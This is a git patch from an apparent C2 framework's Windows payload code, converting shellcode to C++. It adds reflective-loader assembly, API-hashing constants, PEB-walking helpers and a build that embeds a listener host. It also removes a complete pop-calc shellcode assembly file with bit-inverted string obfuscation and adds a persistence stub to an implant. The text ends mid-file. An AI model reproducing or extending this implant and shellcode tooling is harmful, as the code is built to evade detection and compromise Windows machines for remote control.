From 3533c7cbb798779709556166b2a0f5fd8a1ebe00 Mon Sep 17 00:00:00 2001 From: hdks Date: Fri, 24 May 2024 01:18:56 +0900 Subject: [PATCH] trying to make shellcode from C++ but not complete --- .../win/implant/script/calc_hash_module.cpp | 2 +- payload/win/implant/src/core/task/persist.cpp | 4 + payload/win/shellcode/Makefile | 26 +- .../shellcode/asm_samples/x64/pop_calc.asm | 94 --- payload/win/shellcode/include/core/macros.hpp | 24 +- .../win/shellcode/include/core/modules.hpp | 16 - payload/win/shellcode/include/core/nt.hpp | 333 +++++----- payload/win/shellcode/include/core/procs.hpp | 51 +- payload/win/shellcode/include/core/utils.hpp | 14 - payload/win/shellcode/include/entry.hpp | 50 +- payload/win/shellcode/script/asm/exec.py | 175 ------ .../win/shellcode/script/calc_hash_func.py | 58 ++ payload/win/shellcode/script/calc_hash_module | Bin 0 -> 53696 bytes .../win/shellcode/script/calc_hash_module.cpp | 75 +++ payload/win/shellcode/script/extract.py | 24 + payload/win/shellcode/script/linker.ld | 13 + .../shellcode/script/shellcode_generator.py | 68 -- payload/win/shellcode/script/utils/convert.py | 48 -- payload/win/shellcode/src/asm/rfl.x64.asm | 39 ++ payload/win/shellcode/src/asm/rfl.x86.asm | 39 ++ payload/win/shellcode/src/asm/rsl.x64.asm | 24 - payload/win/shellcode/src/asm/rsl.x86.asm | 24 - payload/win/shellcode/src/core/modules.cpp | 50 -- payload/win/shellcode/src/core/procs.cpp | 102 ++- payload/win/shellcode/src/core/utils.cpp | 37 -- payload/win/shellcode/src/entry.cpp | 582 ++++++++---------- pkg/common/parser/amtaskcommand.go | 4 +- 27 files changed, 842 insertions(+), 1134 deletions(-) delete mode 100644 payload/win/shellcode/asm_samples/x64/pop_calc.asm delete mode 100644 payload/win/shellcode/include/core/modules.hpp delete mode 100644 payload/win/shellcode/include/core/utils.hpp delete mode 100644 payload/win/shellcode/script/asm/exec.py create mode 100644 payload/win/shellcode/script/calc_hash_func.py create mode 100755 payload/win/shellcode/script/calc_hash_module create mode 100644 payload/win/shellcode/script/calc_hash_module.cpp create mode 100644 payload/win/shellcode/script/extract.py create mode 100644 payload/win/shellcode/script/linker.ld delete mode 100644 payload/win/shellcode/script/shellcode_generator.py delete mode 100644 payload/win/shellcode/script/utils/convert.py create mode 100644 payload/win/shellcode/src/asm/rfl.x64.asm create mode 100644 payload/win/shellcode/src/asm/rfl.x86.asm delete mode 100644 payload/win/shellcode/src/asm/rsl.x64.asm delete mode 100644 payload/win/shellcode/src/asm/rsl.x86.asm delete mode 100644 payload/win/shellcode/src/core/modules.cpp delete mode 100644 payload/win/shellcode/src/core/utils.cpp diff --git a/payload/win/implant/script/calc_hash_module.cpp b/payload/win/implant/script/calc_hash_module.cpp index 109f90a..24da675 100644 --- a/payload/win/implant/script/calc_hash_module.cpp +++ b/payload/win/implant/script/calc_hash_module.cpp @@ -44,7 +44,7 @@ int main() for (int i = 0; i < 2; i++) { - char* moduleUpper = modules[i]; + char* moduleUpper = toUpper(modules[i]); // Make a key char buffer[100]; diff --git a/payload/win/implant/src/core/task/persist.cpp b/payload/win/implant/src/core/task/persist.cpp index f126fb9..dbed261 100644 --- a/payload/win/implant/src/core/task/persist.cpp +++ b/payload/win/implant/src/core/task/persist.cpp @@ -270,6 +270,10 @@ namespace Task RegCloseKey(hKey); return L"Success: The entry has been set to HKLM\\" + std::wstring(wImg) + L" and HKLM\\" + std::wstring(wSilent) + L"."; } + else if (wcscmp(wTechnique.c_str(), L"scheduled-task") == 0) + { + return L"Error: Not implemented yet."; + } else if (wcscmp(wTechnique.c_str(), L"winlogon") == 0) { HKEY hKey; diff --git a/payload/win/shellcode/Makefile b/payload/win/shellcode/Makefile index 07e59ff..982a841 100644 --- a/payload/win/shellcode/Makefile +++ b/payload/win/shellcode/Makefile @@ -1,11 +1,11 @@ -CCX64 = x86_64-w64-mingw32-gcc -CCX86 = i686-w64-mingw32-gcc +CCX64 = x86_64-w64-mingw32-g++ +CCX86 = i686-w64-mingw32-g++ -CFLAGS = -masm=intel -nostdlib -CFLAGS += -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -w -O2 - -CFLAGSX64 = $(CFLAGS) -Wl,-e,AlignRSP -CFLAGSX86 = $(CFLAGS) -Wl,-e,Entry +CFLAGS = -Os -masm=intel -nostdlib +CFLAGS += -s -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -w +CFLAGS += -fpack-struct=8 -falign-labels=1 -falign-jumps=1 -fPIC +CFLAGS += -Wl,-Tscript/linker.ld +CFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup MACROS = -DLISTENER_HOST=\"$(LISTENER_HOST)\" -DLISTENER_PORT=$(LISTENER_PORT) -DLISTENER_PATH=\"$(LISTENER_PATH)\" @@ -15,12 +15,16 @@ OUTTEMP = build/tmp.exe OUTFILE = ${OUTPUT} amd64: clean - @ $(CCX64) -o $(OUTTEMP) $(CFLAGSX64) -Iinclude $(SOURCE) - @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ nasm -f win64 -o build/rfl.o src/asm/rfl.x64.asm + @ $(CCX64) -o $(OUTTEMP) $(CFLAGS) -Iinclude $(SOURCE) build/rfl.o + # @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ python3 script/extract.py -f $(OUTTEMP) -o $(OUTFILE) i686: clean - @ $(CCX86) -o $(OUTTEMP) $(CFLAGSX86) -Iinclude $(SOURCE) - @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ nasm -f win32 -o build/rfl.o src/asm/rfl.x86.asm + @ $(CCX86) -o $(OUTTEMP) $(CFLAGS) -Iinclude $(SOURCE) build/rfl.o + # @ objcopy -O binary --only-section=.text $(OUTTEMP) $(OUTFILE) + @ python3 script/extract.py -f $(OUTTEMP) -o $(OUTFILE) clean: @ rm -rf build/* \ No newline at end of file diff --git a/payload/win/shellcode/asm_samples/x64/pop_calc.asm b/payload/win/shellcode/asm_samples/x64/pop_calc.asm deleted file mode 100644 index 4a21b73..0000000 --- a/payload/win/shellcode/asm_samples/x64/pop_calc.asm +++ /dev/null @@ -1,94 +0,0 @@ -; Reference: https://github.com/boku7/x64win-DynamicNoNull-WinExec-PopCalc-Shellcode - -xor rdi, rdi ; RDI = 0x0 -mul rdi ; RAX&RDX = 0x0 -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) -mov r8, rbx ; RBX & R8 = &kernel32.dll - -; Get kernel32.dll ExportTable Address -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add -add cx, 0x88ff -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable - -; Get &AddressTable from Kernel32.dll ExportTable -xor r10, r10 -mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable -add r10, r8 ; R10 = &AddressTable - -; Get &NamePointerTable from Kernel32.dll ExportTable -xor r11, r11 -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) - -; Get &OrdinalTable from Kernel32.dll ExportTable -xor r12, r12 -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable -add r12, r8 ; R12 = &OrdinalTable - -jmp short apis - -; Get the address of the API from the Kernel32.dll ExportTable -getapiaddr: -pop rbx ; save the return address for ret 2 caller after API address is found -pop rcx ; Get the string length counter from stack -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack -push rcx ; push the string length counter to stack -loop: -mov rcx, [rsp] ; reset the string length counter from the stack -xor rdi,rdi ; Clear RDI for setting up string name retrieval -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) -repe cmpsb ; Compare strings at RDI & RSI -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API -incloop: -inc rax -jmp short loop - -; Find the address of GetProcAddress by using the last value of the Counter -resolveaddr: -pop rcx ; remove string length counter from top of stack -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] -add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress -push rbx ; place the return address from the api string call back on the top of the stack -ret ; return to API caller - -apis: ; API Names to resolve addresses -; WinExec | String length : 7 -xor rcx, rcx -add cl, 0x7 ; String length for compare string -mov rax, 0x9C9A87BA9196A80F ; not (reverse the bits) 0x9C9A87BA9196A80F = 0xF0,WinExec -not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll -push rax -push rcx ; push the string length counter to stack -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable -mov r14, rax ; R14 = Kernel32.WinExec Address - -; UINT WinExec( -; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 -; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL -; ); -xor rcx, rcx -mul rcx ; RAX & RDX & RCX = 0x0 -; calc.exe | String length : 8 -push rax ; Null terminate string on stack -mov rax, 0x9A879AD19C939E9C ; not (reverse the bits) 0x9A879AD19C939E9C = "calc.exe" -not rax -;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 -push rax ; RSP = "calc.exe",0x0 -mov rcx, rsp ; RCX = "calc.exe",0x0 -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("calc.exe", SW_HIDE) \ No newline at end of file diff --git a/payload/win/shellcode/include/core/macros.hpp b/payload/win/shellcode/include/core/macros.hpp index 539653e..c6f2c26 100644 --- a/payload/win/shellcode/include/core/macros.hpp +++ b/payload/win/shellcode/include/core/macros.hpp @@ -1,8 +1,26 @@ -#ifndef HERMIT_MACROS_HPP -#define HERMIT_MACROS_HPP +#ifndef HERMIT_CORE_MACROS_HPP +#define HERMIT_CORE_MACROS_HPP + +// PEB +#ifdef _WIN64 +#define PPEB_PTR __readgsqword(0x60) +#else +#define PPEB_PTR __readfsqword(0x30) +#endif + +// FUNCTIONS +#define DEREF(name) *(UINT_PTR*)(name) +#define DEREF_64(name) *(DWORD64*)(name) +#define DEREF_32(name) *(DWORD*)(name) +#define DEREF_16(name) *(WORD*)(name) +#define DEREF_8(name) *(BYTE*)(name) + +#define SEC(s, x) __attribute__((section("." #s "$" #x ""))) + +#define MEMCPY __builtin_memcpy #ifndef TO_LOWERCASE #define TO_LOWERCASE(c1, out) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) #endif -#endif // HERMIT_MACROS_HPP \ No newline at end of file +#endif // HERMIT_CORE_MACROS_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/core/modules.hpp b/payload/win/shellcode/include/core/modules.hpp deleted file mode 100644 index 28f3192..0000000 --- a/payload/win/shellcode/include/core/modules.hpp +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef HERMIT_MODULES_HPP -#define HERMIT_MODULES_HPP - -#include "core/macros.hpp" -#include "core/nt.hpp" -#include "core/utils.hpp" - -#include - -namespace Modules -{ - HMODULE GetModuleByName(WCHAR* wModuleName); -} - - -#endif // HERMIT_MODULES_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/core/nt.hpp b/payload/win/shellcode/include/core/nt.hpp index 4cbb4cf..22e2f47 100644 --- a/payload/win/shellcode/include/core/nt.hpp +++ b/payload/win/shellcode/include/core/nt.hpp @@ -1,6 +1,7 @@ // Refefence: https://ntdoc.m417z.com/ -#ifndef HERMIT_NT_HPP -#define HERMIT_NT_HPP + +#ifndef HERMIT_CORE_NTDLL_H +#define HERMIT_CORE_NTDLL_H #include #include @@ -496,6 +497,21 @@ typedef enum _FILE_INFORMATION_CLASS FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; +typedef enum _LDR_DLL_LOAD_REASON +{ + LoadReasonStaticDependency, + LoadReasonStaticForwarderDependency, + LoadReasonDynamicForwarderDependency, + LoadReasonDelayloadDependency, + LoadReasonDynamicLoad, + LoadReasonAsImageLoad, + LoadReasonAsDataLoad, + LoadReasonEnclavePrimary, // since REDSTONE3 + LoadReasonEnclaveDependency, + LoadReasonPatchImage, // since WIN11 + LoadReasonUnknown = -1 +} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; + typedef enum _NT_PRODUCT_TYPE { NtProductWinNt = 1, @@ -503,13 +519,6 @@ typedef enum _NT_PRODUCT_TYPE NtProductServer } NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; -typedef struct _KSYSTEM_TIME -{ - ULONG LowPart; - LONG High1Time; - LONG High2Time; -} KSYSTEM_TIME, *PKSYSTEM_TIME; - typedef enum _KWAIT_REASON { Executive, @@ -615,21 +624,6 @@ typedef enum _SYSDBG_COMMAND SysDbgGetLiveKernelDump } SYSDBG_COMMAND, * PSYSDBG_COMMAND; -typedef enum _LDR_DLL_LOAD_REASON -{ - LoadReasonStaticDependency, - LoadReasonStaticForwarderDependency, - LoadReasonDynamicForwarderDependency, - LoadReasonDelayloadDependency, - LoadReasonDynamicLoad, - LoadReasonAsImageLoad, - LoadReasonAsDataLoad, - LoadReasonEnclavePrimary, // since REDSTONE3 - LoadReasonEnclaveDependency, - LoadReasonPatchImage, // since WIN11 - LoadReasonUnknown = -1 -} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; - typedef enum _LDR_HOT_PATCH_STATE { LdrHotPatchBaseImage, @@ -659,6 +653,37 @@ typedef enum _LDR_DDAG_STATE LdrModulesReadyToRun = 9 } LDR_DDAG_STATE; +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; + +typedef struct _PS_ATTRIBUTE +{ + ULONG_PTR Attribute; + SIZE_T Size; + union + { + ULONG_PTR Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, *PKSYSTEM_TIME; + typedef struct _CLIENT_ID { HANDLE UniqueProcess; @@ -779,25 +804,6 @@ typedef struct _API_SET_NAMESPACE ULONG HashFactor; } API_SET_NAMESPACE, *PAPI_SET_NAMESPACE; -typedef struct _RTL_BALANCED_NODE -{ - union - { - struct _RTL_BALANCED_NODE *Children[2]; - struct - { - struct _RTL_BALANCED_NODE *Left; - struct _RTL_BALANCED_NODE *Right; - }; - }; - union - { - UCHAR Red : 1; - UCHAR Balance : 2; - ULONG_PTR ParentValue; - }; -} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; - typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; @@ -966,116 +972,6 @@ typedef struct _PEB_LDR_DATA HANDLE ShutdownThreadId; } PEB_LDR_DATA, *PPEB_LDR_DATA; -typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)( - _In_ PVOID DllHandle, - _In_ ULONG Reason, - _In_opt_ PVOID Context -); - -typedef struct _LDR_SERVICE_TAG_RECORD -{ - struct _LDR_SERVICE_TAG_RECORD *Next; - ULONG ServiceTag; -} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD; - -typedef struct _LDRP_CSLIST -{ - PSINGLE_LIST_ENTRY Tail; -} LDRP_CSLIST, *PLDRP_CSLIST; - -typedef struct _LDR_DDAG_NODE -{ - LIST_ENTRY Modules; - PLDR_SERVICE_TAG_RECORD ServiceTagList; - ULONG LoadCount; - ULONG LoadWhileUnloadingCount; - ULONG LowestLink; - union - { - LDRP_CSLIST Dependencies; - SINGLE_LIST_ENTRY RemovalLink; - }; - LDRP_CSLIST IncomingDependencies; - LDR_DDAG_STATE State; - SINGLE_LIST_ENTRY CondenseLink; - ULONG PreorderNumber; -} LDR_DDAG_NODE, *PLDR_DDAG_NODE; - -typedef struct _LDRP_LOAD_CONTEXT *PLDRP_LOAD_CONTEXT; - -typedef struct _LDR_DATA_TABLE_ENTRY -{ - LIST_ENTRY InLoadOrderLinks; - LIST_ENTRY InMemoryOrderLinks; - LIST_ENTRY InInitializationOrderLinks; - PVOID DllBase; - PLDR_INIT_ROUTINE EntryPoint; - ULONG SizeOfImage; - UNICODE_STRING FullDllName; - UNICODE_STRING BaseDllName; - union - { - UCHAR FlagGroup[4]; - ULONG Flags; - struct - { - ULONG PackagedBinary : 1; - ULONG MarkedForRemoval : 1; - ULONG ImageDll : 1; - ULONG LoadNotificationsSent : 1; - ULONG TelemetryEntryProcessed : 1; - ULONG ProcessStaticImport : 1; - ULONG InLegacyLists : 1; - ULONG InIndexes : 1; - ULONG ShimDll : 1; - ULONG InExceptionTable : 1; - ULONG ReservedFlags1 : 2; - ULONG LoadInProgress : 1; - ULONG LoadConfigProcessed : 1; - ULONG EntryProcessed : 1; - ULONG ProtectDelayLoad : 1; - ULONG ReservedFlags3 : 2; - ULONG DontCallForThreads : 1; - ULONG ProcessAttachCalled : 1; - ULONG ProcessAttachFailed : 1; - ULONG CorDeferredValidate : 1; - ULONG CorImage : 1; - ULONG DontRelocate : 1; - ULONG CorILOnly : 1; - ULONG ChpeImage : 1; - ULONG ChpeEmulatorImage : 1; - ULONG ReservedFlags5 : 1; - ULONG Redirected : 1; - ULONG ReservedFlags6 : 2; - ULONG CompatDatabaseProcessed : 1; - }; - }; - USHORT ObsoleteLoadCount; - USHORT TlsIndex; - LIST_ENTRY HashLinks; - ULONG TimeDateStamp; - PACTIVATION_CONTEXT EntryPointActivationContext; - PVOID Lock; // RtlAcquireSRWLockExclusive - PLDR_DDAG_NODE DdagNode; - LIST_ENTRY NodeModuleLink; - PLDRP_LOAD_CONTEXT LoadContext; - PVOID ParentDllBase; - PVOID SwitchBackContext; - RTL_BALANCED_NODE BaseAddressIndexNode; - RTL_BALANCED_NODE MappingInfoIndexNode; - ULONG_PTR OriginalBase; - LARGE_INTEGER LoadTime; - ULONG BaseNameHashValue; - LDR_DLL_LOAD_REASON LoadReason; // since WIN8 - ULONG ImplicitPathOptions; - ULONG ReferenceCount; // since WIN10 - ULONG DependentLoadFlags; - UCHAR SigningLevel; // since REDSTONE2 - ULONG CheckSum; // since 22H1 - PVOID ActivePatchImageBase; - LDR_HOT_PATCH_STATE HotPatchState; -} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; - typedef struct _PEB { BOOLEAN InheritedAddressSpace; @@ -1428,6 +1324,135 @@ typedef struct _TEB ULONGLONG ExtendedFeatureDisableMask; } TEB, *PTEB; +typedef BOOLEAN (NTAPI *PLDR_INIT_ROUTINE)( + _In_ PVOID DllHandle, + _In_ ULONG Reason, + _In_opt_ PVOID Context +); + +typedef struct _LDRP_LOAD_CONTEXT *PLDRP_LOAD_CONTEXT; + +typedef struct _LDRP_CSLIST +{ + PSINGLE_LIST_ENTRY Tail; +} LDRP_CSLIST, *PLDRP_CSLIST; + +typedef struct _LDR_SERVICE_TAG_RECORD +{ + struct _LDR_SERVICE_TAG_RECORD *Next; + ULONG ServiceTag; +} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD; + +typedef struct _LDR_DDAG_NODE +{ + LIST_ENTRY Modules; + PLDR_SERVICE_TAG_RECORD ServiceTagList; + ULONG LoadCount; + ULONG LoadWhileUnloadingCount; + ULONG LowestLink; + union + { + LDRP_CSLIST Dependencies; + SINGLE_LIST_ENTRY RemovalLink; + }; + LDRP_CSLIST IncomingDependencies; + LDR_DDAG_STATE State; + SINGLE_LIST_ENTRY CondenseLink; + ULONG PreorderNumber; +} LDR_DDAG_NODE, *PLDR_DDAG_NODE; + +typedef struct _RTL_BALANCED_NODE +{ + union + { + struct _RTL_BALANCED_NODE *Children[2]; + struct + { + struct _RTL_BALANCED_NODE *Left; + struct _RTL_BALANCED_NODE *Right; + }; + }; + union + { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG_PTR ParentValue; + }; +} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PLDR_INIT_ROUTINE EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + union + { + UCHAR FlagGroup[4]; + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; + ULONG MarkedForRemoval : 1; + ULONG ImageDll : 1; + ULONG LoadNotificationsSent : 1; + ULONG TelemetryEntryProcessed : 1; + ULONG ProcessStaticImport : 1; + ULONG InLegacyLists : 1; + ULONG InIndexes : 1; + ULONG ShimDll : 1; + ULONG InExceptionTable : 1; + ULONG ReservedFlags1 : 2; + ULONG LoadInProgress : 1; + ULONG LoadConfigProcessed : 1; + ULONG EntryProcessed : 1; + ULONG ProtectDelayLoad : 1; + ULONG ReservedFlags3 : 2; + ULONG DontCallForThreads : 1; + ULONG ProcessAttachCalled : 1; + ULONG ProcessAttachFailed : 1; + ULONG CorDeferredValidate : 1; + ULONG CorImage : 1; + ULONG DontRelocate : 1; + ULONG CorILOnly : 1; + ULONG ChpeImage : 1; + ULONG ChpeEmulatorImage : 1; + ULONG ReservedFlags5 : 1; + ULONG Redirected : 1; + ULONG ReservedFlags6 : 2; + ULONG CompatDatabaseProcessed : 1; + }; + }; + USHORT ObsoleteLoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + ULONG TimeDateStamp; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID Lock; // RtlAcquireSRWLockExclusive + PLDR_DDAG_NODE DdagNode; + LIST_ENTRY NodeModuleLink; + PLDRP_LOAD_CONTEXT LoadContext; + PVOID ParentDllBase; + PVOID SwitchBackContext; + RTL_BALANCED_NODE BaseAddressIndexNode; + RTL_BALANCED_NODE MappingInfoIndexNode; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; + ULONG BaseNameHashValue; + LDR_DLL_LOAD_REASON LoadReason; // since WIN8 + ULONG ImplicitPathOptions; + ULONG ReferenceCount; // since WIN10 + ULONG DependentLoadFlags; + UCHAR SigningLevel; // since REDSTONE2 + ULONG CheckSum; // since 22H1 + PVOID ActivePatchImageBase; + LDR_HOT_PATCH_STATE HotPatchState; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; @@ -1636,4 +1661,4 @@ typedef enum _FILE_INFO_BY_HANDLE_CLASS { MaximumFileInfoByHandleClass } FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS; -#endif // HERMIT_NT_HPP \ No newline at end of file +#endif // HERMIT_CORE_NTDLL_H \ No newline at end of file diff --git a/payload/win/shellcode/include/core/procs.hpp b/payload/win/shellcode/include/core/procs.hpp index c1e6cae..53c9013 100644 --- a/payload/win/shellcode/include/core/procs.hpp +++ b/payload/win/shellcode/include/core/procs.hpp @@ -1,23 +1,48 @@ -#ifndef HERMIT_PROCS_HPP -#define HERMIT_PROCS_HPP +#ifndef HERMIT_CORE_PROCS_HPP +#define HERMIT_CORE_PROCS_HPP -#include "core/utils.hpp" +#include "core/macros.hpp" +#include "core/nt.hpp" #include -// WINAPI -typedef HMODULE (WINAPI* LPPROC_LOADLIBRARYA)(LPCSTR lpLibFileName); -typedef FARPROC (WINAPI* LPPROC_GETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName); -typedef int (WINAPI* LPPROC_MESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); -typedef int (WINAPI* LPPROC_MESSAGEBOXW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType); -typedef LPVOID (WINAPI* LPPROC_VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); -typedef BOOL (WINAPI* LPPROC_VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); -typedef UINT (WINAPI* LPPROC_WINEXEC)(LPCSTR lpCmdLine, UINT uCmdShow); +#define HASH_IV 0x35 +#define RANDOM_ADDR 0xab10f29f + +// Generated by script/calc_hash_module +#define HASH_MODULE_KERNEL32 0xf4796887 +#define HASH_MODULE_NTDLL 0x3cd7873f +#define HASH_MODULE_USER32 0xecf87bd5 +// Generated by script/calc_hash_func.py +#define HASH_FUNC_NTFLUSHINSTRUCTIONCACHE 0x3a43951d +#define HASH_FUNC_DLLMAIN 0xe2e2f348 +#define HASH_FUNC_GETPROCADDRESS 0xafa3e09d +#define HASH_FUNC_LOADLIBRARYA 0x7069f241 +#define HASH_FUNC_LOADLIBRARYW 0x7069f257 +#define HASH_FUNC_MESSAGEBOXA 0xcc4a1d08 +#define HASH_FUNC_MESSAGEBOXW 0xcc4a1d1e +#define HASH_FUNC_VIRTUALALLOC 0x5ae0dabf +#define HASH_FUNC_VIRTUALPROTECT 0x927857d9 namespace Procs { - PVOID GetProcAddressByName(HANDLE hBase, CONST CHAR* sFuncName, SIZE_T dwFuncNameLen); + // NTAPI + typedef DWORD (NTAPI* LPPROC_NTFLUSHINSTRUCTIONCACHE)(HANDLE ProcessHandle, PVOID BaseAddress, SIZE_T Length); + // WINAPI + typedef BOOL (WINAPI* LPPROC_DLLMAIN)(HINSTANCE, DWORD, LPVOID); + typedef HMODULE (WINAPI* LPPROC_LOADLIBRARYA)(LPCSTR lpLibFileName); + typedef FARPROC (WINAPI* LPPROC_GETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName); + typedef int (WINAPI* LPPROC_MESSAGEBOXA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); + typedef int (WINAPI* LPPROC_MESSAGEBOXW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType); + typedef LPVOID (WINAPI* LPPROC_VIRTUALALLOC)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + typedef BOOL (WINAPI* LPPROC_VIRTUALPROTECT)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); + typedef UINT (WINAPI* LPPROC_WINEXEC)(LPCSTR lpCmdLine, UINT uCmdShow); + + ULONG StringToHashModule(WCHAR* wStr, SIZE_T dwStrLen); + DWORD StringToHashFunc(char* str); + PVOID GetModuleByHash(DWORD dwHash); + PVOID GetProcAddressByHash(HMODULE hModule, DWORD dwHash); } -#endif // HERMIT_PROCS_HPP \ No newline at end of file +#endif // HERMIT_CORE_PROCS_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/core/utils.hpp b/payload/win/shellcode/include/core/utils.hpp deleted file mode 100644 index 442367b..0000000 --- a/payload/win/shellcode/include/core/utils.hpp +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef HERMIT_UTILS_HPP -#define HERMIT_UTILS_HPP - -#include - -namespace Utils -{ - INT MemCmp(const void* str1, const void* str2, SIZE_T n); - SIZE_T StrLenA(LPCSTR str); - SIZE_T StrLenW(LPCWSTR str); - -} - -#endif // HERMIT_UTILS_HPP \ No newline at end of file diff --git a/payload/win/shellcode/include/entry.hpp b/payload/win/shellcode/include/entry.hpp index aa804ff..4514a59 100644 --- a/payload/win/shellcode/include/entry.hpp +++ b/payload/win/shellcode/include/entry.hpp @@ -1,60 +1,16 @@ #ifndef HERMIT_ENTRY_HPP #define HERMIT_ENTRY_HPP -#include "core/nt.hpp" #include "core/macros.hpp" -#include "core/modules.hpp" +#include "core/nt.hpp" #include "core/procs.hpp" -#include "core/utils.hpp" #include -#define HASH_KEY 13 - -#define HASH_KERNEL32DLL 0x6A4ABC5B -#define HASH_NTDLLDLL 0x3CFA685D - -#define HASH_LOADLIBRARYA 0xEC0E4E8E -#define HASH_GETPROCADDRESS 0x7C0DFCAA -#define HASH_VIRTUALALLOC 0x91AFCA54 -#define HASH_NTFLUSHINSTRUCTIONCACHE 0x534C0AB8 - -typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); -typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); -typedef LPVOID (WINAPI * VIRTUALALLOC)( 